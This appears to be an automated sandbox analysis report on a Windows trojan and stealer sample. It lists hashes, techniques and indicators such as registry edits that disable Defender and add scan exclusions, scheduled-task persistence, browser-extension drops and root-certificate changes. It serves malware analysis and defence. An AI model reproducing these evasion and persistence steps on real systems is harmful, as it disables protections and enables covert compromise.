48225de6b59f8f5fa453098a4e4f7e9d76cb2da2a1193dc226dcf7c0b5267b46

Analysis

max time kernel
151s
max time network
153s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
06/10/2022, 11:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 7.3MB
Sample221006-m4jf9shdaq
SHA256 48225de6b59f8f5fa453098a4e4f7e9d76cb2da2a1193dc226dcf7c0b5267b46
MD5 7a60dbdc6aed17b57c5a2f6fc5963bf0
SHA1 39b08cedf1cbb014dbc72c035636a58a188a7939
SHA512 57143b328aa6d19cf73a2bd9cffd13f8016fa0c60e0f1ffb5976e39f29c05157b9c61ce211ec93d08973e909084ca4f70e2de2bef0f16878dcb366bf09863665
SSDEEP 196608:91OrJ5Qluz93WaQIukN5fzfjisC8OL56DIZo:3Or3QIZWG/572sWuIZo
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\TXAseerOEEIU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\foutcXFTU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\hbaSrGurzqNRWWzs = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\TXAseerOEEIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\foutcXFTU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\KqwOSAkWSLuTtEmEubR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QhwgIylwAsUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\LNNrjDjXEWBRCBVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\KqwOSAkWSLuTtEmEubR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\IOBEhxbPduOPNolVG = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\hbaSrGurzqNRWWzs = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QhwgIylwAsUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZRIWDceuNiYWC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\LNNrjDjXEWBRCBVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\hbaSrGurzqNRWWzs = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\hbaSrGurzqNRWWzs = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZRIWDceuNiYWC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Executes dropped EXE 4 IoCs

pid	Process
1228	Install.exe
992	Install.exe
552	jFrzwfB.exe
1144	XCxlqIJ.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
1684	file.exe
1228	Install.exe
1228	Install.exe
1228	Install.exe
1228	Install.exe
992	Install.exe
992	Install.exe
992	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	XCxlqIJ.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	XCxlqIJ.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	XCxlqIJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	XCxlqIJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	XCxlqIJ.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	jFrzwfB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	XCxlqIJ.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	jFrzwfB.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	XCxlqIJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	XCxlqIJ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XCxlqIJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	XCxlqIJ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	jFrzwfB.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	XCxlqIJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	XCxlqIJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	XCxlqIJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	XCxlqIJ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	XCxlqIJ.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	XCxlqIJ.exe

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\TXAseerOEEIU2\EZKYzhppOTIxf.dll	XCxlqIJ.exe
File created	C:\Program Files (x86)\TXAseerOEEIU2\VDacbbL.xml	XCxlqIJ.exe
File created	C:\Program Files (x86)\foutcXFTU\ZYhpTx.dll	XCxlqIJ.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	XCxlqIJ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	XCxlqIJ.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	XCxlqIJ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	XCxlqIJ.exe
File created	C:\Program Files (x86)\foutcXFTU\TatCkMC.xml	XCxlqIJ.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bneKNGaYVcRiRxLisT.job	schtasks.exe
File created	C:\Windows\Tasks\DhQWMaZHjTeAiZmVY.job	schtasks.exe
File created	C:\Windows\Tasks\cdjDfIknFNumfAo.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
572	schtasks.exe
332	schtasks.exe
1816	schtasks.exe
1356	schtasks.exe
1908	schtasks.exe
956	schtasks.exe
2040	schtasks.exe
1980	schtasks.exe
980	schtasks.exe
2000	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	XCxlqIJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	XCxlqIJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	XCxlqIJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	XCxlqIJ.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{EA0B3286-B246-4B76-9276-B94FF4643806}\02-70-7e-ad-e7-d3	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	XCxlqIJ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	XCxlqIJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{EA0B3286-B246-4B76-9276-B94FF4643806}	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	XCxlqIJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{EA0B3286-B246-4B76-9276-B94FF4643806}\WpadDecisionReason = "1"	XCxlqIJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	XCxlqIJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\02-70-7e-ad-e7-d3\WpadDecision = "0"	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0081000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	XCxlqIJ.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{EA0B3286-B246-4B76-9276-B94FF4643806}\WpadDecisionTime = 30d77cfd83d9d801	XCxlqIJ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{EA0B3286-B246-4B76-9276-B94FF4643806}\WpadDecision = "0"	XCxlqIJ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{EA0B3286-B246-4B76-9276-B94FF4643806}\WpadNetworkName = "Network 3"	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	XCxlqIJ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	XCxlqIJ.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	XCxlqIJ.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	XCxlqIJ.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1988	powershell.EXE
1988	powershell.EXE
1988	powershell.EXE
1824	powershell.EXE
1824	powershell.EXE
1824	powershell.EXE
1112	powershell.EXE
1112	powershell.EXE
1112	powershell.EXE
1980	powershell.EXE
1980	powershell.EXE
1980	powershell.EXE
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe
1144	XCxlqIJ.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1988	powershell.EXE
Token: SeDebugPrivilege	1824	powershell.EXE
Token: SeDebugPrivilege	1112	powershell.EXE
Token: SeDebugPrivilege	1980	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 1228	1684	file.exe	27
PID 1684 wrote to memory of 1228	1684	file.exe	27
PID 1684 wrote to memory of 1228	1684	file.exe	27
PID 1684 wrote to memory of 1228	1684	file.exe	27
PID 1684 wrote to memory of 1228	1684	file.exe	27
PID 1684 wrote to memory of 1228	1684	file.exe	27
PID 1684 wrote to memory of 1228	1684	file.exe	27
PID 1228 wrote to memory of 992	1228	Install.exe	28
PID 1228 wrote to memory of 992	1228	Install.exe	28
PID 1228 wrote to memory of 992	1228	Install.exe	28
PID 1228 wrote to memory of 992	1228	Install.exe	28
PID 1228 wrote to memory of 992	1228	Install.exe	28
PID 1228 wrote to memory of 992	1228	Install.exe	28
PID 1228 wrote to memory of 992	1228	Install.exe	28
PID 992 wrote to memory of 1692	992	Install.exe	30
PID 992 wrote to memory of 1692	992	Install.exe	30
PID 992 wrote to memory of 1692	992	Install.exe	30
PID 992 wrote to memory of 1692	992	Install.exe	30
PID 992 wrote to memory of 1692	992	Install.exe	30
PID 992 wrote to memory of 1692	992	Install.exe	30
PID 992 wrote to memory of 1692	992	Install.exe	30
PID 992 wrote to memory of 1824	992	Install.exe	32
PID 992 wrote to memory of 1824	992	Install.exe	32
PID 992 wrote to memory of 1824	992	Install.exe	32
PID 992 wrote to memory of 1824	992	Install.exe	32
